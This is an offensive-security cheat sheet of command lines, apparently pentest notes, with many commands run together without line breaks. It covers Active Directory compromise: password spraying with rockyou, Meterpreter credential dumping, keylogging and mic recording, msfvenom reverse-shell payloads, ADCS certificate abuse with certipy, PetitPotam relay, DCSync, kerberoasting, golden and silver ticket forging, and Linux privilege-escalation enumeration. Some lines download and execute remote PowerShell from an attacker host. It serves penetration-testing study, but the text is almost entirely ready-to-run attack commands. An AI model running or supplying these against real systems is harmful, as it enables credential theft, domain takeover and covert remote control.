netexec ldap <RHOST> -u "" -p "" --use-kcache -M whoami
netexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa
netexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa -k
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c all
netexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --bloodhound -ns <RHOST> -c all
netexec winrm <SUBNET>/24 -u "<USERNAME>" -p "<PASSWORD>" -d .
netexec winrm -u /t -p "<PASSWORD>" -d <DOMAIN> <RHOST>
netexec winrm <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt
netexec winrm <RHOST> -u '<USERNAME>' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --shares
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --pass-pol
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --lusers
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --sam
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'net user Administrator /domain' --exec-method smbexec
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --wdigest enable
netexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'quser'pypykatz lsa minidump lsass.dmp
pypykatz registry --sam sam system$ sudo msfdb run // start database
$ sudo msfdb init // database initialization
$ msfdb --use-defaults delete // delete existing databases
$ msfdb --use-defaults init // database initialization
$ msfdb status // database status
msf6 > workspace // metasploit workspaces
msf6 > workspace -a <WORKSPACE> // add a workspace
msf6 > workspace -r <WORKSPACE> // rename a workspace
msf6 > workspace -d <WORKSPACE> // delete a workspace
msf6 > workspace -D // delete all workspaces
msf6 > db_nmap <OPTIONS> // execute nmap and add output to database
msf6 > hosts // reads hosts from database
msf6 > services // reads services from database
msf6 > vulns // displaying vulnerabilities
msf6 > search // search within metasploit
msf6 > set RHOST <RHOST> // set remote host
msf6 > set RPORT <RPORT> // set remote port
msf6 > run // run exploit
msf6 > spool /PATH/TO/FILE // recording screen output
msf6 > save // saves current state
msf6 > exploit // using module exploit
msf6 > payload // using module payload
msf6 > auxiliary // using module auxiliary
msf6 > encoder // using module encoder
msf6 > nop // using module nop
msf6 > show sessions // displays all current sessions
msf6 > sessions -i 1 // switch to session 1
msf6 > sessions -u <ID> // upgrading shell to meterpreter
msf6 > sessions -k <ID> // kill specific session
msf6 > sessions -K // kill all sessions
msf6 > jobs // showing all current jobs
msf6 > show payloads // displaying available payloads
msf6 > set VERBOSE true // enable verbose output
msf6 > set forceexploit true // exploits the target anyways
msf6 > set EXITFUNC thread // reverse shell can exit without exit the program
msf6 > set AutoLoadStdapi false // disables autoload of stdapi
msf6 > set PrependMigrate true // enables automatic process migration
msf6 > set PrependMigrateProc explorer.exe // auto migrate to explorer.exe
msf6 > use post/PATH/TO/MODULE // use post exploitation module
msf6 > use post/linux/gather/hashdump // use hashdump for Linux
msf6 > use post/multi/manage/shell_to_meterpreter // shell to meterpreter
msf6 > use exploit/windows/http/oracle_event_processing_upload // use a specific module
C:\> > Ctrl + z // put active meterpreter shell in background
meterpreter > loadstdapi // load stdapi
meterpreter > background // put meterpreter in background (same as "bg")
meterpreter > shell // get a system shell
meterpreter > channel -i <ID> // get back to existing meterpreter shell
meterpreter > ps // checking processes
meterpreter > migrate 2236 // migrate to a process
meterpreter > getuid // get the user id
meterpreter > sysinfo // get system information
meterpreter > search -f <FILE> // search for a file
meterpreter > upload // uploading local files to the target
meterpreter > ipconfig // get network configuration
meterpreter > load powershell // loads powershell
meterpreter > powershell_shell // follow-up command for load powershell
meterpreter > powershell_execute // execute command
meterpreter > powershell_import // import module
meterpreter > powershell_shell // shell
meterpreter > powershell_session_remove // remove
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress' // network discovery
meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName <XXX.XXX.XXX>.${_} -Quiet)" }' // network scan
meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded' // port scan
meterpreter > load kiwi // load mimikatz
meterpreter > help kiwi // mimikatz help
meterpreter > kiwi_cmd // execute mimikatz native command
meterpreter > lsa_dump_sam // lsa sam dump
meterpreter > dcsync_ntlm krbtgt // dc sync
meterpreter > creds_all // dump all credentials
meterpreter > creds_msv // msv dump
meterpreter > creds_kerberos // kerberos dump
meterpreter > creds_ssp // ssp dump
meterpreter > creds_wdigest // wdigest dump
meterpreter > getprivs // get privileges after loading mimikatz
meterpreter > getsystem // gain system privileges if user is member of administrator group
meterpreter > hashdump // dumps all the user hashes
meterpreter > run post/windows/gather/checkvm // check status of the target
meterpreter > run post/multi/recon/local_exploit_suggester // checking for exploits
meterpreter > run post/windows/manage/enable_rdp // enables rdp
meterpreter > run post/multi/manage/autoroute // runs autoroutes
meterpreter > run auxiliary/server/socks4a // runs socks4 proxy server
meterpreter > keyscan_start // enabled keylogger
meterpreter > keyscan_dump // showing the output
meterpreter > screenshare // realtime screen sharing
meterpreter > screenshare -q 100 // realtime screen sharing
meterpreter > record_mic // recording mic output
meterpreter > timestomp // modify timestamps
meterpreter > execute -f calc.exe // starts a program on the victim
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1 // port forwardingproxychains -q msfconsole/home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txtmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o meterpreter_payload.exemsf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > runmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o <FILE>.exemsf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run.\<FILE>.exemeterpreter > download *net user <USERNAME> <PASSWORD> /add /domain
net group "Exchange Windows Permissions" /add <USERNAME>powershell -ep bypass
. .\PowerView.ps1$pass = convertto-securestring '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=<DOMAIN>,DC=local" -PrincipalIdentity <USERNAME> -Rights DCSyncimpacket-secretsdump '<USERNAME>:<PASSWORD>@<RHOST>'certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -vulnerable -stdoutcertipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -dns <RHOST>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
certipy auth -pfx administrator.pfx -dc-ip <RHOST>certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
certipy auth -pfx administrator.pfx -dc-ip <RHOST>certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLAET> -save-old
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -vulnerable -dc-ip <RHOST> -stdout
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -upn administrator@<DOMAIN>
certipy req -ca '<CA>' -username administrator@<DOMAIN> -password <PASSWORD> -target <CA> -template User -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>certipy ca -ca '<CA>' -add-officer <USERNAME> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy ca -ca '<CA>' -enable-template SubCA -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template SubCA -upn administrator@<DOMAIN>
certipy ca -ca '<CA>' -issue-request <ID> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -retrieve <ID>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>certipy relay -target 'http://<CA>'
certipy relay -ca '<CA>' -template <TEMPLATE>
python3 PetitPotam.py <RHOST> <DOMAIN>
certipy auth -pfx dc.pfx -dc-ip <RHOST>
export KRB5CCNAME=dc.ccache
impacket-secretsdump -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>impacket-ntlmrelayx -t http://<RHOST>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
python3 PetitPotam.py <RHOST> <DOMAIN>
python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) '<DOMAIN>'/'dc$' 'dc.ccache'
export KRB5CCNAME=dc.ccache
impacket-secretsdump -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn Administrator
certipy req -ca '<CA>' -username <USERNAME> -hashes 54296a48cd30259cc88095373cec24da -template <TEMPLATE>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn <USERNAME>@<DOMAIN>
certipy auth -pfx administrator.pfx -domain <DOMAIN>certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn Administrator
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -hashes a87f3a337d73085c45f9416be5787d86
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME -upn <USERNAME>@<DOMAIN>
certipy auth -pfx administrator.pfx -domain <DOMAIN>certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn 'DC$@<DOMAIN>'
certipy req -ca 'CA' -username <USERNAME>@<DOMAIN> -password -hashes a87f3a337d73085c45f9416be5787d86
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME -upn <USERNAME>@<DOMAIN>
certipy auth -pfx dc.pfx -dc-ip <RHOST> -ldap-shellcertipy relay -target 'rpc://<CA>' -ca 'CA'
certipy auth -pfx administrator.pfx -domain <DOMAIN>Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName TopCA -JSON (Export-ADCSTemplate -DisplayName 'Subordinate Certification Authority') -AutoEnroll -Publish -Identity '<DOMAIN>\Domain Users'AD-miner -u <USERNAME> -p <PASSWORD> -cf <NAME>sudo apt-get install openjdk-11-jdk
pip install bloodhound
sudo apt-get install neo4j
sudo apt-get install bloodhoundwget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
sudo echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get install neo4j
systemctl start neo4j
./bloodhound --no-sandboxdocker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/<PASSWORD> -v $(pwd)/neo4j:/data neo4j:4.4-communityALTER USER neo4j SET PASSWORD '<PASSWORD>'bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -gc '<DOMAIN>'-ns <RHOST> -c all --zip
bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns <RHOST> -c all --zip
bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -ns <RHOST> --dns-tcp -no-pass -c ALL --zip
bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<RHOST>' -ns <RHOST> --dns-tcp -no-pass -c ALL --zipbloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object Users --attr member // Get group members
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr minPwdLength // Get minimum password length policy
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr msDS-Behavior-Version // Get AD functional level
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type user // Get all users of the domain
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type computer // Get all computers of the domain
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type container // Get all containers of the domain
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add uac <USERNAME> DONT_REQ_PREAUTH // Enable DONT_REQ_PREAUTH for ASREPRoast
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove uac <USERNAME> ACCOUNTDISABLE // Disable ACCOUNTDISABLE
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object <USERNAME> --attr userAccountControl // Get UserAccountControl flags
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object '<OBJECT>$' --attr msDS-ManagedPassword // Read GMSA account password
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object '<OBJECT>$' --attr ms-Mcs-AdmPwd // Read LAPS password
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr ms-DS-MachineAccountQuota // Read quota for adding computer objects to domain
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add dnsRecord <RECORD> <LHOST> // Add a new DNS entry
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove dnsRecord <RECORD> <LHOST> // Remove a DNS entry
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get dnsDump // Get AD DNS records.\Certify find /vulnerable
.\Certify.exe find /vulnerable /currentusercertipy find -dc-ip <RHOST> -u <USERNAME>@<DOMAIN> -p <PASSWORD>
certipy find -dc-ip <RHOST> -u <USERNAME> -p <PASSWORD> -vulnerable -stdoutcertipy account create -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -dns <RHOST> -user <COMPUTERNAME>certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN>certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN> -ldap-shell# add_user <USERNAME>
# add_user_to_group <GROUP>certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template Web -dc-ip <RHOST> -save-oldRun the following command twice because of a current issue with certipy.
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST>certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN>
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN> -debugcertipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLATE> -dc-ip <RHOST> -configuration <TEMPLATE>.json./BloodHound --disable-gpu-sandboxenum4linux-ng -A <RHOST>evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PATH/TO/PRIVATE/KEY/<KEY>.key -p -u -Simpacket-atexec -k -no-pass <DOMAIN>/Administrator@<RHOST> 'type C:\PATH\TO\FILE\<FILE>'impacket-dcomexec -object MMC20 -debug -silentcommand <DOMAIN>/<USERNAME>:'<PASSWORD>'<RHOST> '<COMMAND>'impacket-findDelegation <DOMAIN>/<USERNAME> -hashes :<HASH>impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/impacket-GetNPUsers <DOMAIN>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
impacket-GetNPUsers <DOMAIN>/ -usersfile usernames.txt -format john -outputfile hashes
impacket-GetNPUsers <DOMAIN>/<USERNAME> -request -no-pass -dc-ip <RHOST>impacket-getST <DOMAIN>/<USERNAME> -spn <USERNAME>/<RHOST> -hashes :<HASH> -impersonate <USERNAME>
impacket-getST <DOMAIN>/<USERNAME>$ -spn <USERNAME>/<RHOST> -hashes :<HASH> -impersonate <USERNAME>impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>
impacket-getTGT <DOMAIN>/<USERNAME> -dc-ip <DOMAIN> -hashes aad3b435b51404eeaad3b435b51404ee:7c662956a4a0486a80fbb2403c5a9c2cimpacket-GetUserSPNs -request -dc-ip <RHOST> <DOMAIN>/<USERNAME>export KRB5CCNAME=<USERNAME>.ccache
impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<DOMAIN> -no-pass -requestimpacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH/TO/FILE/<FILE>.txtimpacket-ntlmrelayx -t ldap://<RHOST> --no-wcf-server --escalate-user <USERNAME>impacket-ntlmrelayx --no-http-server -smb2support -t <RHOST> -c "powershell -enc JABjAGwAaQBlAG4AdA<--- CUT FOR BREVITY --->"dir \\<LHOST>\foobarnc -lnvp <LPORT>impacket-psexec <USERNAME>@<RHOST>
impacket-psexec <DOMAIN>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <COMMAND> <COMMAND>impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>impacket-secretsdump <DOMAIN>/<USERNAME>@<RHOST>
impacket-secretsdump -dc-ip <RHOST> <DOMAIN>/<SUERNAME>:<PASSWORD>@<RHOST>
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hashexport KRB5CCNAME=<USERNAME>.ccache
impacket-secretsdump -k <DOMAIN>/<USERNAME>@<RHOST>.<DOMAIN> -no-pass -debugimpacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <COMMAND>impacket-smbclient <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>export KRB5CCNAME=<USERNAME>.ccache
impacket-smbclient -k <DOMAIN>/<USERNAME>@<RHOST>.<DOMAIN> -no-passimpacket-smbpasswd <RHOST>/<USERNAME>:'<PASSWORD>'@<RHOST> -newpass '<PASSWORD>'impacket-smbserver local . -smb2support- Valid User
- NTHASH
- Domain-SID
export KRB5CCNAME=<USERNAME>.ccache
impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain <DOMAIN> -spn MSSQLSVC/<RHOST>.<DOMAIN> -user-id 500 Administratorimpacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST> -no-pass -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] exceptions must derive from BaseException241 if self.__doKerberos:
242 #target = self.getMachineName()
243 target = self.__kdcHostpython3 dacledit.py <DOMAIN>/<USERNAME>:<PASSWORD> -k -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' -dc-ip <RHOST> -action read -principal '<USERNAME>' -target '<GROUP>' -debug#from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTSThen put the msada_guids.py into the same directory as dacledit.py
https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py
python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST> -action write -new-owner '<USERNAME>' -target '<GROUP>' -debugpipenv shell
git clone https://github.com/ThePorgs/impacket/
pip3 install -r requirements.txt
sudo python3 setup.py installIEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1')https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
- Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
- Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
- Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).
./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfile <FILE>.\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN> /outfile:<FILE>.\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE>impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format john -outputfile <FILE>impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outputfile <FILE>
impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfile <FILE>.\Rubeus.exe asreproast /format:hashcat /outfile:<FILE>impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE>
.\Rubeus.exe kerberoast /outfile:<FILE>
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII <FILE>
Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII <FILE>impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH>impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY>impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>export KRB5CCNAME=<USERNAME>.ccacheimpacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass.\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHASH> /ptt.\PsExec.exe -accepteula \\<RHOST> cmdgrep default_ccache_name /etc/krb5.conf- If none return, default is FILE:/tmp/krb5cc_%{uid}
- In Case of File Tickets it is possible to Copy-Paste them to use them
- In Case of being KEYRING Tickets, the Tool tickey can be used to get them
- To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
- To inject, the Ticket have to be copied in a reachable Folder by all Users
cp tickey /tmp/tickey
/tmp/tickey -isekurlsa::tickets /export
.\Rubeus dump[IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("<TICKET>"))python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbiexport KRB5CCNAME=<USERNAME>.ccacheimpacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-passkerberos::ptt <KIRBI_FILE>.\Rubeus.exe ptt /ticket:<KIRBI_FILE>.\PsExec.exe -accepteula \\<RHOST> cmdpython ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN> <USERNAME>python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -spn <SPN> <USERNAME>export KRB5CCNAME=<USERNAME>.ccacheimpacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-passkerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>kerberos::ptt <KIRBI_FILE>.\Rubeus.exe ptt /ticket:<KIRBI_FILE>.\PsExec.exe -accepteula \\<RHOST> cmdpython ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domain <DOMAIN> <USERNAME>python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> <USERNAME>export KRB5CCNAME=<USERNAME>.ccacheimpacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-passkerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM_HASH> /user:<USERNAME>kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME>Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)
kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME>kerberos::ptt <KIRBI_FILE>.\Rubeus.exe ptt /ticket:<KIRBI_FILE>.\PsExec.exe -accepteula \\<RHOST> cmdpython -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).digest())'ldapsearch -x -h <RHOST> -s base namingcontexts
ldapsearch -H ldap://<RHOST> -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -H ldaps://<RHOST>:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local"
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local" | grep descr -A 3 -B 3
ldapsearch -x -h <RHOST> -b "dc=<RHOST>,dc=local" "*" | awk '/dn: / {print $2}'
ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "dc=<DOMAIN>,dc=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -H ldap://<RHOST> -D <USERNAME> -w "<PASSWORD>" -b "CN=Users,DC=<RHOST>,DC=local" | grep infoid
sudo -l
uname -a
env
cat /etc/hosts
cat /etc/fstab
cat /etc/passwd
ss -tulpn
ps -auxf
ls -lahv
ls -R /home
ls -la /opt
capsh --printfind / -user <USERNAME> -ls 2>/dev/null
find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null
find / -group <GROUP> 2>/dev/null
find / -perm -4000 2>/dev/null | xargs ls -la
find / -type f -user root -perm -4000 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
find / -cmin -60 // find files changed within the last 60 minutes
find / -amin -60 // find files accesses within the last 60 minutes
